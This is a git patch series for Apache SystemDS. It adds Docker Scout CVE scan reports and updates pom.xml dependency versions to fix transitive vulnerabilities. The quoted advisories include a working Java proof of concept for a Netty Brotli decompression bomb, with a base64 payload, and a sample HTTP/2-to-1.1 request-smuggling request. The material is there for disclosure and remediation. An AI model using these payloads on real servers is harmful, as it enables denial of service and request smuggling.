https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec@4.1.96.Final
+medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) + + + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
+ +
Description +
+ +### Summary + +With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. + +### Details + +`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. + +Tested on 4.1.118, but there were no changes to the decoder since. + +### PoC + +Run this test case with `-Xmx1G`: + +```java +import io.netty.buffer.Unpooled; +import io.netty.channel.embedded.EmbeddedChannel; + +import java.util.Base64; + +public class T { + public static void main(String[] args) { + EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); + channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); + } +} +``` + +Error: + +``` +Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) + at java.base/java.nio.Bits.reserveMemory(Bits.java:178) + at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) + at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) + at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) + at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) + at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) + at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) + at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) + at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) + at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) + at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) + at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) + at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) + at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) + at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) + at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) + at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) + at io.netty.handler.codec.compression.T.main(T.java:11) +``` + +### Impact + +DoS for anyone using `BrotliDecoder` on untrusted input. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.zookeeper/zookeeper 3.8.3 (maven) + +pkg:maven/org.apache.zookeeper/zookeeper@3.8.3
+medium 5.3: CVE--2024--23944 Exposure of Sensitive Information to an Unauthorized Actor + + + + + + + + +
Affected range>=3.8.0
<=3.8.3
Fixed version3.8.4
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ +Information disclosure in persistent watchers handling in Apache ZooKeeper due to missing ACL check. It allows an attacker to monitor child znodes by attaching a persistent watcher (addWatch command) to a parent which the attacker has already access to. ZooKeeper server doesn't do ACL check when the persistent watcher is triggered and as a consequence, the full path of znodes that a watch event gets triggered upon is exposed to the owner of the watcher. It's important to note that only the path is exposed by this vulnerability, not the data of znode, but since znode path can contain sensitive information like user name or login ID, this issue is potentially critical. + +Users are recommended to upgrade to version 3.9.2, 3.8.4 which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
+ +
Description +
+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) + +pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
+medium 4.6: CVE--2025--55039 Inadequate Encryption Strength + + + + + + + + +
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
+ +
Description +
+ +This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. + +Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. + +When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. + +This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. + +To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) + +pkg:maven/org.apache.commons/commons-lang3@3.12.0
+medium 6.5: CVE--2025--48924 Uncontrolled Recursion + + + + + + + + +
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ +Uncontrolled Recursion vulnerability in Apache Commons Lang. + +This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. + +The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. + +Users are recommended to upgrade to version 3.18.0, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) + +pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
+low 2.0: CVE--2024--23454 Improper Privilege Management + + + + + + + + +
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ +Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.eclipse.jetty/jetty-xml 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-xml@9.4.51.v20230217
+low 3.9: GHSA--58qw--p7qm--5rvh Improper Restriction of XML External Entity Reference + + + + + + +
Affected range<=9.4.51
Fixed version9.4.52.v20230823
CVSS Score3.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L
+ +
Description +
+ +### From the reporter + +> `XmlParser` is vulnerable to XML external entity (XXE) vulnerability. +> XmlParser is being used when parsing Jetty’s xml configuration files. An attacker might exploit +> this vulnerability in order to achieve SSRF or cause a denial of service. +> One possible scenario is importing a (remote) malicious WAR into a Jetty’s server, while the +> WAR includes a malicious web.xml. + +### Impact +There are no circumstances in a normally deployed Jetty server where potentially hostile XML is given to the XmlParser class without the attacker already having arbitrary access to the server. I.e. in order to exploit `XmlParser` the attacker would already have the ability to deploy and execute hostile code. Specifically, Jetty has no protection against malicious web application and potentially hostile web applications should only be run on an isolated virtualisation. + +Thus this is not considered a vulnerability of the Jetty server itself, as any such usage of the jetty XmlParser is equally vulnerable as a direct usage of the JVM supplied SAX parser. No CVE will be allocated to this advisory. + +However, any direct usage of the `XmlParser` class by an application may be vulnerable. The impact would greatly depend on how the application uses `XmlParser`, but it could be a denial of service due to large entity expansion, or possibly the revealing local files if the XML results are accessible remotely. + +### Patches +Ability to configure the SAXParserFactory to fit the needs of your particular XML parser implementation have been merged as part of PR #10067 + +### Workarounds +Don't use `XmlParser` to parse data from users. + + + + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+
+ + +What's next: + View base image update recommendations → docker scout recommendations apache/systemds:latest + diff --git a/pom.xml b/pom.xml index 0ee81e34827..004de1f2350 100644 --- a/pom.xml +++ b/pom.xml @@ -52,6 +52,8 @@ 12.6.0 2.0.11 2.22.1 + + 2.0.3 3.2.0 3.0.0 3.0.0 @@ -926,6 +928,18 @@ + + + + + + org.apache.kerby + kerb-admin + ${kerby.version} + + + + org.jcuda From fad127f724cc1ffd4e568e4e7614f72a8447f00b Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Wed, 14 Jan 2026 09:17:24 +0100 Subject: [PATCH 06/31] [MINOR][SYSTEMDS-3878] Fix pom.xml () merge error There can only be one dependencyManagement tag in the pom.xml, solved by fusing the two tags. --- pom.xml | 6 ------ 1 file changed, 6 deletions(-) diff --git a/pom.xml b/pom.xml index a2cfc171864..4b45961eb56 100644 --- a/pom.xml +++ b/pom.xml @@ -939,12 +939,6 @@ avro ${avro.version} - - - - - - org.apache.kerby From c6ef60f34b4a923bcb2b138a46d05a69b306861f Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Wed, 14 Jan 2026 10:32:22 +0100 Subject: [PATCH 07/31] [MINOR][SYSTEMDS-3878] Fix zookeeper transitive vulnerabilities This commit fixes the following vulnerability identified by docker scout cves: ch.qos.logback/logback-core. The following changes have been made on the pom.xml: version of zookeeper uped to 3.9.4; declare exlicit dependency of netty-handler. --- .../scout_results/zookeeper/sysds_output6.md | 2668 +++++++++++++++++ docker/systemds-3878_summary-of-changes.md | 22 +- pom.xml | 14 +- 3 files changed, 2697 insertions(+), 7 deletions(-) create mode 100644 docker/scout_results/zookeeper/sysds_output6.md diff --git a/docker/scout_results/zookeeper/sysds_output6.md b/docker/scout_results/zookeeper/sysds_output6.md new file mode 100644 index 00000000000..c0b9749bf78 --- /dev/null +++ b/docker/scout_results/zookeeper/sysds_output6.md @@ -0,0 +1,2668 @@ +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:edc1477abeeeee2de06c91204fa16752b829d422661e7ab36998e61bb094a87a
vulnerabilitiescritical: 2 high: 27 medium: 36 low: 9 unspecified: 1
platformlinux/amd64
size369 MB
packages358
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) + +pkg:maven/io.netty/netty@3.10.6.Final
+critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." + +
+
+ +high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. + +This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. + +### Impact + +All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. + +### References +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 + +
+
+ +high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
+ +
Description +
+ +### Impact +The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). + + +All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack + +### Workarounds +No workarounds other than not using the `Bzip2Decoder` + +### References + +Relevant code areas: + +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 + +
+
+ +medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.420%
EPSS Percentile61st percentile
+ +
Description +
+ +### Impact + +Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. + +Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. + + + +
+
+ +medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.026%
EPSS Percentile7th percentile
+ +
Description +
+ +### Impact + +When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. + +The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) + +### Vulnerability Details + +On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. + +The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. + +This is the case in netty's `AbstractDiskHttpData` is vulnerable. + +https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 + +`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. + +You may be affected by this vulnerability your project contains the following code patterns: + +```java +channelPipeline.addLast(new HttpPostRequestDecoder(...)); +``` + +```java +channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); +``` + +### Patches + +This has been patched in version `4.1.59.Final`. + +### Workarounds + +Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. + +### References + + - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) + - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) + +### Similar Vulnerabilities + +Similar, but not the same. + + - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp + - Google Guava - https://github.com/google/guava/issues/4011 + - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 + - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 + +### For more information +If you have any questions or comments about this advisory: +* Open an issue in [netty](https://github.com/netty/netty) +* Email us [here](mailto:netty-security@googlegroups.com) + +### Original Report + +> Hi Netty Security Team, +> +> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: +> https://lgtm.com/query/7723301787255288599/ +> +> Netty contains three local information disclosure vulnerabilities, so far as I can tell. +> +> One is here, where the private key for the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 +> +> One is here, where the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 +> +> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 +> +> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. +> +> Impacted OS: +> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. +> +> Mitigation. +> +> Moving to the `Files` API instead will fix this vulnerability. +> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- +> +> This API will explicitly set the posix file permissions to something safe, by default. +> +> I recently disclosed a similar vulnerability in JUnit 4: +> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp +> +> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. +> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 +> +> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. +> https://github.com/netty/netty/security/advisories +> +> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. +> +> Cheers, +> Jonathan Leitschuh + +
+
+ +medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score2.547%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 + +This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. + +### Patches +This was fixed as part of 4.1.61.Final + +### Workarounds +Validation can be done by the user before proxy the request by validating the header. + +
+
+ +medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
+ +
Description +
+ +### Impact +If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. +If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. + +In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. + +An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: + +``` +POST / HTTP/2 +:authority:: externaldomain.com +Content-Length: 4 + +asdfGET /evilRedirect HTTP/1.1 +Host: internaldomain.com +``` + +Users are only affected if all of this is `true`: + * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used + * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects + * These HTTP/1.1 objects are forwarded to another remote peer. + + +### Patches +This has been patched in 4.1.60.Final + +### Workarounds +The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. + +### References +Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 + +
+
+ +medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. + +
+
+
+
critical: 1 high: 0 medium: 0 low: 0 zlib 1.3.1-r1 (apk) + +pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
+critical : CVE--2026--22184 + + + + + + +
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.109%
EPSS Percentile30th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
